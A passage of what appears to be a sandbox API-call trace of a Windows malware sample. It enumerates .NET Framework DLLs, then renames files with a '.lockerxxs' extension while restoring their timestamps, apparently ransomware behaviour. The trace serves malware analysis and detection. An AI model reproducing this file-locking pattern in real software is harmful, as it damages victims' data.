lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62fe2d40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Handles.dll", cAlternateFileName="SYA99A~1.DLL")) returned 1 [0137.968] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.968] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6302f000, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7f10, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.InteropServices.dll", cAlternateFileName="SYC0A9~1.DLL")) returned 1 [0137.968] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.969] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63055160, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7370, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.InteropServices.WindowsRuntime.dll", cAlternateFileName="SY83DE~1.DLL")) returned 1 [0137.969] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.969] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x630a1420, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Numerics.dll", cAlternateFileName="SY2E97~1.DLL")) returned 1 [0137.969] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.969] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x68274860, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x544e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Remoting.dll", cAlternateFileName="SY8816~1.DLL")) returned 1 [0137.970] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.970] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x630ed6e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xfd700, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Serialization.dll", cAlternateFileName="SY2094~1.DLL")) returned 1 [0137.970] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.970] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6829a9c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x22968, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Serialization.Formatters.Soap.dll", cAlternateFileName="SY2029~1.DLL")) returned 1 [0137.970] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.971] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6315fb00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7320, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Serialization.Json.dll", cAlternateFileName="SY9AF1~1.DLL")) returned 1 [0137.971] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.971] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63185c60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7348, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Serialization.Primitives.dll", cAlternateFileName="SY294B~1.DLL")) returned 1 [0137.971] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.972] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x631d1f20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7318, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Serialization.Xml.dll", cAlternateFileName="SY9E91~1.DLL")) returned 1 [0137.972] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.972] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x682e6c80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x460b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Security.dll", cAlternateFileName="SYF3EA~1.DLL")) returned 1 [0137.972] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.972] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6321e1e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Security.Principal.dll", cAlternateFileName="SYBACE~1.DLL")) returned 1 [0137.972] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.973] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6326a4a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x314f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Activation.dll", cAlternateFileName="SY307C~1.DLL")) returned 1 [0137.973] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.973] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x632dc8c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x88cf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Activities.dll", cAlternateFileName="SY6016~1.DLL")) returned 1 [0137.973] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.974] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63328b80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x268f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Channels.dll", cAlternateFileName="SY690C~1.DLL")) returned 1 [0137.974] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.974] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x633c1100, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x4b6f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Discovery.dll", cAlternateFileName="SYBD10~1.DLL")) returned 1 [0137.974] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.974] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x637eb780, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5e88d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.dll", cAlternateFileName="SYF3C0~1.DLL")) returned 1 [0137.974] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.975] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63ae5300, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Duplex.dll", cAlternateFileName="SYA4F5~1.DLL")) returned 1 [0137.975] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.975] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63b0b460, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x74e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Http.dll", cAlternateFileName="SY0821~1.DLL")) returned 1 [0137.975] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.976] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63b57720, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x3d308, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Internals.dll", cAlternateFileName="SYA8D2~1.DLL")) returned 1 [0137.987] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.987] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63bc9b40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x72f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.NetTcp.dll", cAlternateFileName="SYE439~1.DLL")) returned 1 [0137.987] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.988] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63befca0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x8510, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Primitives.dll", cAlternateFileName="SYBB64~1.DLL")) returned 1 [0137.988] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.988] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63c15e00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x1fef0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Routing.dll", cAlternateFileName="SY19F3~1.DLL")) returned 1 [0137.988] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.989] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63c620c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x7500, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Security.dll", cAlternateFileName="SYBF82~1.DLL")) returned 1 [0137.989] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.989] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63c88220, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x5b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.ServiceMoniker40.dll", cAlternateFileName="SYB48E~1.DLL")) returned 1 [0137.989] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.990] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x63cae380, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x98f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.WasHosting.dll", cAlternateFileName="SY2D65~1.DLL")) returned 1 [0137.990] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.990] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.990] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.991] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.991] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.992] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.992] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.992] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.993] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.993] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0138.016] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0138.017] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0138.017] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0138.018] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0138.018] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0138.018] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0138.019] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0138.019] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0138.019] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0138.032] lstrcmpA (lpString1=".", lpString2="Temporary ASP.NET Files") returned -1 [0138.032] lstrcmpA (lpString1="..", lpString2="Temporary ASP.NET Files") returned -1 [0138.033] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Temporary ASP.NET Files\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacdd7b60, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xacdd7b60, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xacdd7b60, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501574, cFileName=".", cAlternateFileName="")) returned 0x502518 [0138.034] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0138.034] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0138.034] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0138.038] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.038] CloseHandle (hObject=0x8c) returned 1 [0138.038] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ThirdPartyNotices.txt" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\thirdpartynotices.txt"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ThirdPartyNotices.txt.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\thirdpartynotices.txt.lockerxxs")) returned 1 [0138.047] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.047] CloseHandle (hObject=0x8c) returned 1 [0138.048] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallCommon.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallcommon.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallCommon.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallcommon.sql.lockerxxs")) returned 1 [0138.055] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.055] CloseHandle (hObject=0x8c) returned 1 [0138.055] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallMembership.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallmembership.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallMembership.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallmembership.sql.lockerxxs")) returned 1 [0138.060] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0138.060] CloseHandle (hObject=0x8c) returned 1 [0138.060] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallPersistSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallpersistsqlstate.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\UninstallPersistSqlState.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\uninstallpersistsqlstate.sql.lockerxxs")) returned 1 [0138.067] SetFileTime (hFile=0x8c, 